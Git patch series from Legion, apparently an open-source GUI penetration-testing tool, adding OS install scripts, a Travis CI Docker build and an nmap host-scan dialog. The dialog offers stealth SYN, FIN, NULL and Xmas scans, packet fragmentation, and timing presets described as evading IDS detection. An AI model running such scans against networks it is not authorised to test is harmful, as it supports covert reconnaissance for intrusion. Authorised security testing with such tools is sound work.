@@ -76,7 +76,7 @@ def setupUi(self, MainWindow): def setupLeftPanel(self): self.HostsTabWidget = QtWidgets.QTabWidget(self.splitter) self.sizePolicy.setHeightForWidth(self.HostsTabWidget.sizePolicy().hasHeightForWidth()) - self.HostsTabWidget.setSizePolicy(self.sizePolicy) + self.HostsTabWidget.setSizePolicy(self.sizePolicy2) self.HostsTabWidget.setObjectName(_fromUtf8("HostsTabWidget")) self.HostsTab = QtWidgets.QWidget() From cd4c7f46eddcc7f577710c196d5735d718ac8935 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Feb 2019 14:56:55 -0600 Subject: [PATCH 102/450] Add in Parrot 4.5 --- deps/Parrot-4.5.sh | 11 +++++++++++ deps/Parrot-4.5WSL.sh | 14 ++++++++++++++ deps/detectOs.sh | 7 +++++++ 3 files changed, 32 insertions(+) create mode 100644 deps/Parrot-4.5.sh create mode 100644 deps/Parrot-4.5WSL.sh diff --git a/deps/Parrot-4.5.sh b/deps/Parrot-4.5.sh new file mode 100644 index 00000000..6dbba96f --- /dev/null +++ b/deps/Parrot-4.5.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +chmod a+x ./deps/*.sh + +./deps/installDeps.sh +./deps/installPython36.sh + +source ./deps/detectPython.sh + +echo "Installing Python Libraries..." +./deps/installPythonLibs.sh diff --git a/deps/Parrot-4.5WSL.sh b/deps/Parrot-4.5WSL.sh new file mode 100644 index 00000000..9b440219 --- /dev/null +++ b/deps/Parrot-4.5WSL.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +chmod a+x ./deps/*.sh + +./deps/installDeps.sh +./deps/installPython36.sh + +source ./deps/detectPython.sh + +echo "Installing Python Libraries..." +./deps/installPythonLibs.sh + +echo "WSL Setup..." +./deps/setupWsl.sh diff --git a/deps/detectOs.sh b/deps/detectOs.sh index dde983eb..401c52cb 100644 --- a/deps/detectOs.sh +++ b/deps/detectOs.sh @@ -34,6 +34,13 @@ then then releaseVersion="2016" fi +elif [[ ${releaseOutput} == *"Parrot"* ]] +then + releaseName="Parrot" + if [[ ${releaseOutput} == *"4.5"* ]] + then + releaseVersion="4.5" + fi else releaseName="something unsupported" fi From 49c02c7502ada79a7f6c0169cec3cf10f672cb49 Mon Sep 17 00:00:00 2001 From: jblomgren Date: Fri, 8 Feb 2019 15:27:02 -0500 Subject: [PATCH 103/450] setting estimated time column to report 'Unknown' when the time would otherwise be negative --- app/processmodels.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/processmodels.py b/app/processmodels.py index ef992ab3..fd08ac32 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -72,7 +72,7 @@ def data(self, index, role): # this metho pid = int(self.__processes[row]['pid']) elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - float(elapsed) - value = "{0:.2f}{1}".format(float(estimatedRemaining), "s") + value = "{0:.2f}{1}".format(float(estimatedRemaining), "s") if estimatedRemaining >= 0 else 'Unknown' elif column == 5 or column == 6: if not self.__processes[row]['tabtitle'] == '': value = self.__processes[row]['tabtitle'] From 37073fd17cfe2c341c54eca49e762b4edb01e2a3 Mon Sep 17 00:00:00 2001 From: jblomgren Date: Mon, 11 Feb 2019 13:47:41 -0500 Subject: [PATCH 104/450] rounding process time elapsed/remaining to 2 decmial values --- .travis.yml | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/.travis.yml b/.travis.yml index 20f5ed8f..7d423aa8 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,3 +1,10 @@ +env: + global: + - secure: "TuXkypbtZ+hUa+2ktXbAJUtfzm5B1nuGMF7bTSkyjqVQUoljxvY5DMmkvYkvP7ZIG9TtHq/VVfeo1mrGamA8NdRo3Dk24Ggebc5JbzJrrux+jzLDXl7hb2eNoY/ZeQSVMWqIEsJoxBpbfZ9HLFH0EjsxlrQXD0zYzVKTj4J7y/W1G2hhmEy8gJjEoMeGfDrT3LPueyv3u/QvYwXzU42KSEcV4Nd035hYxiBKvE2tee39UjSNlR5fyanRJtOXOKhJVadqBEAWeJ17IUdEkb+omv9dJUIlzDz0q/D9XcR+cJJzfRP8w3bdW2JuICwZ1NGirxn/tM/bnlzVrn90Ut3z88Z7FrX36jIPJ7Zz3wVItAo36aoGnYxV5tP4k1RuVXL8o7kzKhr96VqrTDDJs5rs9+I+U8AL6T5AUfWMZNiouBx056HlvcKzWr2YUn7f1LD3fPtVN6xHvIUuGfAg7i6ANAftFX40Kp9apo5Tz4qYmgxfa6BbP50F/zGlE6cqbwzElqk9IfVTyL7HWliGhXXQPnfqnFfcyLfjayQn6qNQ25CdpSyv/iCz7d3tqPNWt9V+iuNa4twqXcXFU2bpkLHzjw9PHGSRtpYG/oKEHZWqVGx71fMZVysUxGxYWQMtiVRuZv5X/tL1RvGYiGiSNMYGezCAY1IjEGJu+gfYOHtkHhY=" + - secure: "VM/r48bUR02V1ylKjhC+kWax3mIdDtsQBaaTjSWUuhYCOFKZpcJSqrOZVQb43XSz5ss7aD/F9Xkl+jrffgHeXVxE63UlGf9CbIw+v5s8bJlakDNU2/DEMahyq1ySzj/6An6/a4GA5E3ltNftWIw9PymM+8IgeT+l76DOAU3BbjNhy5wcXHcKWH3uwrlMzLuw9LGcqZaYFwcDHzGcjN13OrO6mQxlbrt+mJQPfcI1Kv29/5XRJeOUG6RV+fbQk27CVkqNTW1GENFOdzvuYX0HETiUw6sjwjsezlnCcBzIDDMJSHpPYp58nUvmfyBCHfB2GXK8hgNoBt7NLIayDyNomgrajiTinRpV8gdP4vkWARY4Zq4+H90pFIsUg3Zk+JQ5YPGySMrdhE3PDy/sBZqMEK2n66kMbfW2qNtOVMBFniW549JVQswWiuTUKd/DFV7z1M4ENakz1n3Zjmtwz+AhVNoiRrAcy4othZKXqpzTAjEnxni9be0qvi/lb2+0l/PxYn4auyyocSnUt8T8N6ekYoQ3Q5Tw6HdyiKpMo7W9rziIpd84hYNkbzMtTNx0nEeyEjuma4iSz6onaPv9hIYwn0iejlcGH+ApFTxleHjyMa6NWG2fu0G0qMsJY4BJpZYYYjnZ9qokpYlLa+pHShy23ga7cNBjnYpeLW0YTta6muw=" + - secure: "PBzo4fc/5ihbc1QuwuhzmCCKvi0/8ZTRPpjCO+YEUOZb8+XnVTUnzTpeRX7FyGMnt7DlDhn1vja+1dy4qL3T6vriZwF+j8ONrK/1EYDPgIrlQOxaMRvx/7+quhzfePJaExY7mwjFkzqts6wLTWLJMF7mNgXrqO7V5KG+3tI724Rj+0egNjFHOvM5wkHjVAYWCVpFxxdCCDSOnf+rf+rjLMZPMJJOq2n+jVJPCLm+fSGLInohRIplKTr9eYBxO4o9k7ILw9bG/RWJawTVYxGEt16IGmvgLcQdMRnMC11Az8ZcZI78zGNR+IBt0txIHQ4kkcdsWlfMOPchL7xeuGttR9fC+Lk4qQEo/mltH6DsSdpK05hiEajeFuZ7cPefLgrYYeMeA6P+yBPAwrLPuH85aXcplH5IsBbqYHWJYGwvaBixoPkndE0tdWQ3Rwu8oSMQG5AEu11ejqhGpf0fabVRLiSILHumwWVqREW7taYInXCUPpp9rsFR5JIBH8AG96d5NlX3LOFxZgnieZD1SocHM4/prqef8G6MnVD7TNEhlTHMFl1JUqYNINActwsROi1P6/uLJ3jqAVa4pdYcGLmJpiccmL0cT6VSRakZPKsRdRL6Er8g1mJYq6Bco5OmVemsuvONrqzW/eMcu4rq+mRx69tS0zrTaLmq0B9o9I4kc1c=" + - COMMIT=${TRAVIS_COMMIT::8} + language: python sudo: true @@ -12,3 +19,10 @@ install: script: - python ./test.py + +after_success: + - docker login -e $DOCKER_EMAIL -u $DOCKER_USER -p $DOCKER_PASS + - export REPO=govanguard/legion + - docker build -f Dockerfile -t $REPO:$COMMIT . + - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER + - docker push govanguard/legion From cddae1383db92e5efd996de8576dd3b7d5ed7f14 Mon Sep 17 00:00:00 2001 From: jblomgren Date: Mon, 11 Feb 2019 13:55:28 -0500 Subject: [PATCH 105/450] adding docker to travis build process --- .travis.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 7d423aa8..a5eafe3e 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,6 +1,5 @@ env: global: - - secure: "TuXkypbtZ+hUa+2ktXbAJUtfzm5B1nuGMF7bTSkyjqVQUoljxvY5DMmkvYkvP7ZIG9TtHq/VVfeo1mrGamA8NdRo3Dk24Ggebc5JbzJrrux+jzLDXl7hb2eNoY/ZeQSVMWqIEsJoxBpbfZ9HLFH0EjsxlrQXD0zYzVKTj4J7y/W1G2hhmEy8gJjEoMeGfDrT3LPueyv3u/QvYwXzU42KSEcV4Nd035hYxiBKvE2tee39UjSNlR5fyanRJtOXOKhJVadqBEAWeJ17IUdEkb+omv9dJUIlzDz0q/D9XcR+cJJzfRP8w3bdW2JuICwZ1NGirxn/tM/bnlzVrn90Ut3z88Z7FrX36jIPJ7Zz3wVItAo36aoGnYxV5tP4k1RuVXL8o7kzKhr96VqrTDDJs5rs9+I+U8AL6T5AUfWMZNiouBx056HlvcKzWr2YUn7f1LD3fPtVN6xHvIUuGfAg7i6ANAftFX40Kp9apo5Tz4qYmgxfa6BbP50F/zGlE6cqbwzElqk9IfVTyL7HWliGhXXQPnfqnFfcyLfjayQn6qNQ25CdpSyv/iCz7d3tqPNWt9V+iuNa4twqXcXFU2bpkLHzjw9PHGSRtpYG/oKEHZWqVGx71fMZVysUxGxYWQMtiVRuZv5X/tL1RvGYiGiSNMYGezCAY1IjEGJu+gfYOHtkHhY=" - secure: "VM/r48bUR02V1ylKjhC+kWax3mIdDtsQBaaTjSWUuhYCOFKZpcJSqrOZVQb43XSz5ss7aD/F9Xkl+jrffgHeXVxE63UlGf9CbIw+v5s8bJlakDNU2/DEMahyq1ySzj/6An6/a4GA5E3ltNftWIw9PymM+8IgeT+l76DOAU3BbjNhy5wcXHcKWH3uwrlMzLuw9LGcqZaYFwcDHzGcjN13OrO6mQxlbrt+mJQPfcI1Kv29/5XRJeOUG6RV+fbQk27CVkqNTW1GENFOdzvuYX0HETiUw6sjwjsezlnCcBzIDDMJSHpPYp58nUvmfyBCHfB2GXK8hgNoBt7NLIayDyNomgrajiTinRpV8gdP4vkWARY4Zq4+H90pFIsUg3Zk+JQ5YPGySMrdhE3PDy/sBZqMEK2n66kMbfW2qNtOVMBFniW549JVQswWiuTUKd/DFV7z1M4ENakz1n3Zjmtwz+AhVNoiRrAcy4othZKXqpzTAjEnxni9be0qvi/lb2+0l/PxYn4auyyocSnUt8T8N6ekYoQ3Q5Tw6HdyiKpMo7W9rziIpd84hYNkbzMtTNx0nEeyEjuma4iSz6onaPv9hIYwn0iejlcGH+ApFTxleHjyMa6NWG2fu0G0qMsJY4BJpZYYYjnZ9qokpYlLa+pHShy23ga7cNBjnYpeLW0YTta6muw=" - secure: "PBzo4fc/5ihbc1QuwuhzmCCKvi0/8ZTRPpjCO+YEUOZb8+XnVTUnzTpeRX7FyGMnt7DlDhn1vja+1dy4qL3T6vriZwF+j8ONrK/1EYDPgIrlQOxaMRvx/7+quhzfePJaExY7mwjFkzqts6wLTWLJMF7mNgXrqO7V5KG+3tI724Rj+0egNjFHOvM5wkHjVAYWCVpFxxdCCDSOnf+rf+rjLMZPMJJOq2n+jVJPCLm+fSGLInohRIplKTr9eYBxO4o9k7ILw9bG/RWJawTVYxGEt16IGmvgLcQdMRnMC11Az8ZcZI78zGNR+IBt0txIHQ4kkcdsWlfMOPchL7xeuGttR9fC+Lk4qQEo/mltH6DsSdpK05hiEajeFuZ7cPefLgrYYeMeA6P+yBPAwrLPuH85aXcplH5IsBbqYHWJYGwvaBixoPkndE0tdWQ3Rwu8oSMQG5AEu11ejqhGpf0fabVRLiSILHumwWVqREW7taYInXCUPpp9rsFR5JIBH8AG96d5NlX3LOFxZgnieZD1SocHM4/prqef8G6MnVD7TNEhlTHMFl1JUqYNINActwsROi1P6/uLJ3jqAVa4pdYcGLmJpiccmL0cT6VSRakZPKsRdRL6Er8g1mJYq6Bco5OmVemsuvONrqzW/eMcu4rq+mRx69tS0zrTaLmq0B9o9I4kc1c=" - COMMIT=${TRAVIS_COMMIT::8} @@ -21,7 +20,8 @@ script: - python ./test.py after_success: - - docker login -e $DOCKER_EMAIL -u $DOCKER_USER -p $DOCKER_PASS + - cd ./docker/ + - docker login -u $DOCKER_USER -p $DOCKER_PASS - export REPO=govanguard/legion - docker build -f Dockerfile -t $REPO:$COMMIT . - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER From 3979e99cd64f8a1e9ee41655a3bfe1207205e089 Mon Sep 17 00:00:00 2001 From: jblomgren Date: Mon, 11 Feb 2019 14:04:34 -0500 Subject: [PATCH 106/450] updated docker config for Travis CI --- .travis.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index a5eafe3e..dbc09e9f 100644 --- a/.travis.yml +++ b/.travis.yml @@ -22,7 +22,7 @@ script: after_success: - cd ./docker/ - docker login -u $DOCKER_USER -p $DOCKER_PASS - - export REPO=govanguard/legion + - export REPO=gvit/legion - docker build -f Dockerfile -t $REPO:$COMMIT . - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER - - docker push govanguard/legion + - docker push gvit/legion From 4ba0fe7979d82da9509296b5101e0e5470f88111 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 12 Feb 2019 17:26:05 -0600 Subject: [PATCH 107/450] Adding a bunch of the prerelease fixes --- app/logic.py | 1 + images/icons/Legion-N_128x128.svg | 74 + legion.py | 43 +- requirements.txt | 3 + startLegion.sh | 2 + ui/addHostDialog.py | 259 +++ ui/ancillaryDialog.py | 125 ++ ui/dialogs.py | 161 -- ui/gui.py | 26 +- ui/helpDialog.py | 1543 ++++++++++++++++++ ui/{settingsdialogs.py => settingsDialog.py} | 0 ui/view.py | 46 +- 12 files changed, 2066 insertions(+), 217 deletions(-) create mode 100644 images/icons/Legion-N_128x128.svg create mode 100644 ui/addHostDialog.py create mode 100644 ui/ancillaryDialog.py create mode 100644 ui/helpDialog.py rename ui/{settingsdialogs.py => settingsDialog.py} (100%) diff --git a/app/logic.py b/app/logic.py index f0b8905a..6bbc1f90 100644 --- a/app/logic.py +++ b/app/logic.py @@ -47,6 +47,7 @@ def createTemporaryFiles(self): log.info("Unexpected error: {0}".format(sys.exc_info()[0])) def removeTemporaryFiles(self): + return log.info('Removing temporary files and folders..') try: if not self.istemp: # if current project is not temporary diff --git a/images/icons/Legion-N_128x128.svg b/images/icons/Legion-N_128x128.svg new file mode 100644 index 00000000..6b900e0d --- /dev/null +++ b/images/icons/Legion-N_128x128.svg @@ -0,0 +1,74 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/legion.py b/legion.py index 7af892da..734b4eeb 100644 --- a/legion.py +++ b/legion.py @@ -29,12 +29,20 @@ try: from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - try: - #from PySide import QtWebKit - pass - except ImportError: - log.info("Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") - exit(1) + log.info("Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") + log.info(e) + exit(1) + +try: + import sys + from colorama import init + init(strip=not sys.stdout.isatty()) + from termcolor import cprint + from pyfiglet import figlet_format +except ImportError as e: + log.info("Import failed. One or moreof the terminal drawing libraries not found.") + log.info(e) + exit(1) from app.logic import * from ui.gui import * @@ -80,17 +88,19 @@ def eventFilter(self, receiver, event): return super(MyEventFilter,self).eventFilter(receiver, event) # normal event processing +# Main application declaration and loop if __name__ == "__main__": + + cprint(figlet_format('LEGION', font='starwars'), 'yellow', 'on_red', attrs=['bold']) app = QApplication(sys.argv) - #loop = quamash.QEventLoop(app) - #asyncio.set_event_loop(loop) + loop = quamash.QEventLoop(app) + asyncio.set_event_loop(loop) - #with loop: myFilter = MyEventFilter() # to capture events app.installEventFilter(myFilter) MainWindow = QtWidgets.QMainWindow() - app.setWindowIcon(QIcon('./images/icons/legion_medium.svg')) + app.setWindowIcon(QIcon('./images/icons/Legion-N_128x128.svg')) ui = Ui_MainWindow() ui.setupUi(MainWindow) @@ -108,7 +118,14 @@ def eventFilter(self, receiver, event): controller = Controller(view, logic) # Controller prep (communication between model and view) MainWindow.show() - #log.addHandler(ui.LogOutputTextView) + #log.addHandler(ui.LogOutputTextView) + #sys.exit(app.exec_()) + + try: + loop.run_forever() + except KeyboardInterrupt: + pass - #loop.run_forever() - sys.exit(app.exec_()) + app.deleteLater() + loop.close() + sys.exit() diff --git a/requirements.txt b/requirements.txt index 4b5348b9..a1bd39cb 100644 --- a/requirements.txt +++ b/requirements.txt @@ -10,3 +10,6 @@ PyQt5==5.11.3 sanic==0.8.3 sanic_swagger==0.0.4 requests==2.20.1 +pyfiglet +colorama +termcolor diff --git a/startLegion.sh b/startLegion.sh index aa214dfa..7266629b 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -1,5 +1,7 @@ #!/bin/bash +echo "Strap yourself in, we're starting Legion..." + # Determine and set the Python and Pip paths source ./deps/detectPython.sh diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py new file mode 100644 index 00000000..159cd1ff --- /dev/null +++ b/ui/addHostDialog.py @@ -0,0 +1,259 @@ +#!/usr/bin/env python + +''' +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os +from PyQt5.QtGui import * # for filters dialog +from PyQt5.QtWidgets import * +from PyQt5 import QtWidgets, QtGui +from app.auxiliary import * # for timestamps +from six import u as unicode +from ui.ancillaryDialog import flipState + +# dialog shown when the user selects "Add host(s)" from the menu +class AddHostsDialog(QtWidgets.QDialog): + def __init__(self, parent=None): + QtWidgets.QDialog.__init__(self, parent) + self.setupLayout() + + def setupLayout(self): + self.setModal(True) + self.setWindowTitle('Add host(s) to scan seperated by semicolons') + self.setFixedSize(480, 500) + + self.formLayout = QtWidgets.QVBoxLayout() + + self.lblHost = QtWidgets.QLabel(self) + self.lblHost.setText('IP(s), Range(s), and Host(s)') + self.txtHostList = QtWidgets.QPlainTextEdit(self) + + self.hlayout = QtWidgets.QHBoxLayout() + self.hlayout.addWidget(self.lblHost) + self.hlayout.addWidget(self.txtHostList) + + self.lblHostExample = QtWidgets.QLabel(self) + self.lblHostExample.setText('Ex: 192.168.1.0/24; 10.10.10.10-20; 1.2.3.4; bing.com') + self.font = QtGui.QFont('Calibri', 10) + self.lblHostExample.setFont(self.font) + self.lblHostExample.setAlignment(Qt.AlignRight) + self.spacer = QSpacerItem(15,15) + + self.validationLabel = QtWidgets.QLabel(self) + self.validationLabel.setText('Invalid input. Please try again!') + self.validationLabel.setStyleSheet('QLabel { color: red }') + + self.spacer2 = QSpacerItem(5,5) + + # Mode + self.grpMode = QtWidgets.QGroupBox() + self.grpModeWidgets = QtWidgets.QHBoxLayout() + self.grpMode.setTitle('Mode Selection') + self.rdoModeOptEasy = QtWidgets.QRadioButton(self) + self.rdoModeOptEasy.setText('Easy') + self.rdoModeOptEasy.setToolTip('Easy mode [--lame]') + self.rdoModeOptHard = QtWidgets.QRadioButton(self) + self.rdoModeOptHard.setText('Hard') + self.rdoModeOptHard.setToolTip('Hard mode') + self.grpModeWidgets.addWidget(self.rdoModeOptEasy) + self.grpModeWidgets.addWidget(self.rdoModeOptHard) + self.grpMode.setLayout(self.grpModeWidgets) + self.rdoModeOptEasy.toggle() + + # Easy mode options + self.grpEasyMode = QtWidgets.QGroupBox() + self.grpEasyModeWidgets = QtWidgets.QHBoxLayout() + self.grpEasyMode.setTitle('Easy Mode Options') + self.chkDiscovery = QtWidgets.QCheckBox(self) + self.chkDiscovery.setText('Run nmap host discovery') + self.chkDiscovery.setToolTip('Typical host discovery options') + self.chkDiscovery.toggle() + self.chkNmapStaging = QtWidgets.QCheckBox(self) + self.chkNmapStaging.setText('Run staged nmap scan') + self.chkNmapStaging.setToolTip('Scan ports in stages with typical options') + self.chkNmapStaging.toggle() + self.grpEasyModeWidgets.addWidget(self.chkDiscovery) + self.grpEasyModeWidgets.addWidget(self.chkNmapStaging) + self.grpEasyMode.setLayout(self.grpEasyModeWidgets) + self.grpEasyMode.setEnabled(True) + + self.spacer3 = QSpacerItem(5,5) + + # Timing and performance options + self.grpScanTiming = QtWidgets.QGroupBox() + self.grpScanTimingWidgets = QtWidgets.QVBoxLayout() + self.grpScanTimingControlWidgets = QtWidgets.QHBoxLayout() + self.grpScanTimingLabelWidgets = QtWidgets.QHBoxLayout() + self.grpScanTiming.setTitle('Timing and Performance Options') + self.lblScanTimingLabel0 = QtWidgets.QLabel() + self.lblScanTimingLabel1 = QtWidgets.QLabel() + self.lblScanTimingLabel2 = QtWidgets.QLabel() + self.lblScanTimingLabel3 = QtWidgets.QLabel() + self.lblScanTimingLabel4 = QtWidgets.QLabel() + self.lblScanTimingLabel5 = QtWidgets.QLabel() + self.lblScanTimingLabel0.setText("Paranoid") + self.lblScanTimingLabel0.setToolTip('Serialize every scan operation with a 5 minute wait between each. Useful for evading IDS detection [-T0]') + self.lblScanTimingLabel1.setText("Sneaky") + self.lblScanTimingLabel1.setToolTip('Serialize every scan operation with a 15 second wait between each. Useful for evading IDS detection [-T1]') + self.lblScanTimingLabel2.setText("Polite") + self.lblScanTimingLabel2.setToolTip('Serialize every scan operation with a 0.4 second wait between each. Useful for evading IDS detection [-T2]') + self.lblScanTimingLabel3.setText("Normal") + self.lblScanTimingLabel3.setToolTip('NMAP defaults including parallelization [-T3]') + self.lblScanTimingLabel4.setText("Aggressive") + self.lblScanTimingLabel4.setToolTip('Sets the following options: --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 with a 10ms delay between operations [-T4]') + self.lblScanTimingLabel5.setText("Insane") + self.lblScanTimingLabel5.setToolTip('Sets the following options: --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --script-timeout 10m with a 5ms delay between operations [-T5]') + self.sldScanTimingSlider = QtWidgets.QSlider(Qt.Horizontal) + self.sldScanTimingSlider.setRange(0, 5) + self.sldScanTimingSlider.setSingleStep(1) + self.sldScanTimingSlider.setValue(4) + self.grpScanTimingControlWidgets.addWidget(self.sldScanTimingSlider) + self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel0) + self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel1) + self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel2) + self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel3) + self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel4) + self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel5) + self.grpScanTimingLabelWidgets.setSpacing(45) + self.grpScanTimingWidgets.addLayout(self.grpScanTimingControlWidgets) + self.grpScanTimingWidgets.addLayout(self.grpScanTimingLabelWidgets) + self.grpScanTiming.setLayout(self.grpScanTimingWidgets) + + self.spacer3_5 = QSpacerItem(5,5) + + # Port scan options + self.rdoScanOptTcpConnect = QtWidgets.QRadioButton(self) + self.rdoScanOptTcpConnect.setText('TCP') + self.rdoScanOptTcpConnect.setToolTip('TCP connect() scanning [-sT]') + self.rdoScanOptSynStealth = QtWidgets.QRadioButton(self) + self.rdoScanOptSynStealth.setText('Stealth SYN') + self.rdoScanOptSynStealth.setToolTip('SYN scanning (also known as half-open, or stealth scanning) [-sS]') + self.rdoScanOptFin = QtWidgets.QRadioButton(self) + self.rdoScanOptFin.setText('FIN') + self.rdoScanOptFin.setToolTip('FIN scanning sends a packet with only the FIN flag set [-sF]') + self.rdoScanOptNull = QtWidgets.QRadioButton(self) + self.rdoScanOptNull.setText('NULL') + self.rdoScanOptNull.setToolTip('Null scanning sends a packet with no flags switched on [-sN]') + self.rdoScanOptXmas = QtWidgets.QRadioButton(self) + self.rdoScanOptXmas.setText('Xmas') + self.rdoScanOptXmas.setToolTip('Xmas Tree scanning sets the FIN, URG and PUSH flags [-sX]') + self.rdoScanOptPingTcp = QtWidgets.QRadioButton(self) + self.rdoScanOptPingTcp.setText('TCP Ping') + self.rdoScanOptPingTcp.setToolTip('TCP Ping scanning sends either a SYN or an ACK packet to any port (80 is the default) on the remote system [-sP]') + self.rdoScanOptPingUdp = QtWidgets.QRadioButton(self) + self.rdoScanOptPingUdp.setText('UDP Ping') + self.rdoScanOptPingUdp.setToolTip('UDP Ping scanning sends 0-byte UDP packets to each target port on the victim. Receipt of an ICMP Port Unreachable message signifies the port is closed, otherwise it is assumed open [-sU]') + + # Fragmentation option + self.chkScanOptFragmentation = QtWidgets.QCheckBox(self) + self.chkScanOptFragmentation.setText('Fragment') + self.chkScanOptFragmentation.toggle() + + # Port scan options + self.grpScanOpt = QtWidgets.QGroupBox() + self.grpScanOptWidgets = QtWidgets.QHBoxLayout() + self.grpScanOpt.setTitle('Port Scan Options') + self.grpScanOptWidgets.addWidget(self.rdoScanOptTcpConnect) + self.grpScanOptWidgets.addWidget(self.rdoScanOptSynStealth) + self.grpScanOptWidgets.addWidget(self.rdoScanOptFin) + self.grpScanOptWidgets.addWidget(self.rdoScanOptNull) + self.grpScanOptWidgets.addWidget(self.rdoScanOptXmas) + self.grpScanOptWidgets.addWidget(self.rdoScanOptPingTcp) + self.grpScanOptWidgets.addWidget(self.rdoScanOptPingUdp) + self.grpScanOptWidgets.addWidget(self.chkScanOptFragmentation) + self.grpScanOpt.setLayout(self.grpScanOptWidgets) + self.rdoScanOptSynStealth.toggle() + self.grpScanOpt.setEnabled(False) + + self.spacer4 = QSpacerItem(5,5) + + self.rdoScanOptPingDisable = QtWidgets.QRadioButton(self) + self.rdoScanOptPingDisable.setText('Disable') + self.rdoScanOptPingDisable.setToolTip('Disable Ping entirely [-P0 | -Pn]') + self.rdoScanOptPingDefault = QtWidgets.QRadioButton(self) + self.rdoScanOptPingDefault.setText('Default') + self.rdoScanOptPingDefault.setToolTip('ICMP Echo Request and TCP ping, with ACK packets [-PB]') + self.rdoScanOptPingRegular = QtWidgets.QRadioButton(self) + self.rdoScanOptPingRegular.setText('ICMP') + self.rdoScanOptPingRegular.setToolTip('Standard ICMP Echo Request [-PE]') + self.rdoScanOptPingSyn = QtWidgets.QRadioButton(self) + self.rdoScanOptPingSyn.setText('TCP SYN') + self.rdoScanOptPingSyn.setToolTip('TCP Ping that sends SYN packets instead of ACK packets [-PT -PS]') + self.rdoScanOptPingAck = QtWidgets.QRadioButton(self) + self.rdoScanOptPingAck.setText('TCP ACK') + self.rdoScanOptPingAck.setToolTip('TCP Ping that sends SYN packets instead of ACK packets [-PT]') + self.rdoScanOptPingTimeStamp = QtWidgets.QRadioButton(self) + self.rdoScanOptPingTimeStamp.setText('Timestamp') + self.rdoScanOptPingTimeStamp.setToolTip('ICMP Timestamp Request [-PP]') + self.rdoScanOptPingNetmask = QtWidgets.QRadioButton(self) + self.rdoScanOptPingNetmask.setText('Netmask') + self.rdoScanOptPingNetmask.setToolTip('ICMP Netmask Request [-PM]') + + self.grpScanOptPing = QtWidgets.QGroupBox() + self.grpScanOptPingWidgets = QtWidgets.QHBoxLayout() + self.grpScanOptPing.setTitle('Host Discovery Options') + self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingDisable) + self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingDefault) + self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingRegular) + self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingSyn) + self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingAck) + self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingTimeStamp) + self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingNetmask) + self.grpScanOptPing.setLayout(self.grpScanOptPingWidgets) + self.rdoScanOptPingSyn.toggle() + self.grpScanOptPing.setEnabled(False) + + # Custom scan options + self.scanOptCustomGroup = QtWidgets.QGroupBox() + self.scanOptCustomGroupWidgets = QtWidgets.QHBoxLayout() + self.scanOptCustomGroup.setTitle('Custom Options') + self.lblCustomOpt = QtWidgets.QLabel(self) + self.lblCustomOpt.setText('Additional arguments') + self.txtCustomOptList = QtWidgets.QPlainTextEdit(self) + self.scanOptCustomGroupWidgets.addWidget(self.lblCustomOpt) + self.scanOptCustomGroupWidgets.addWidget(self.txtCustomOptList) + self.scanOptCustomGroup.setLayout(self.scanOptCustomGroupWidgets) + self.scanOptCustomGroup.setEnabled(False) + + self.cmdCancelButton = QPushButton('Cancel', self) + self.cmdCancelButton.setMaximumSize(110, 30) + self.cmdAddButton = QPushButton('Add host(s) to scan', self) + self.cmdAddButton.setMaximumSize(110, 30) + self.cmdAddButton.setDefault(True) + self.hlayout2 = QtWidgets.QHBoxLayout() + self.hlayout2.addWidget(self.cmdCancelButton) + self.hlayout2.addWidget(self.cmdAddButton) + self.formLayout.addLayout(self.hlayout) + self.formLayout.addWidget(self.lblHostExample) + + self.formLayout.addWidget(self.validationLabel) + self.validationLabel.hide() + + self.formLayout.addWidget(self.grpMode) + self.formLayout.addItem(self.spacer) + 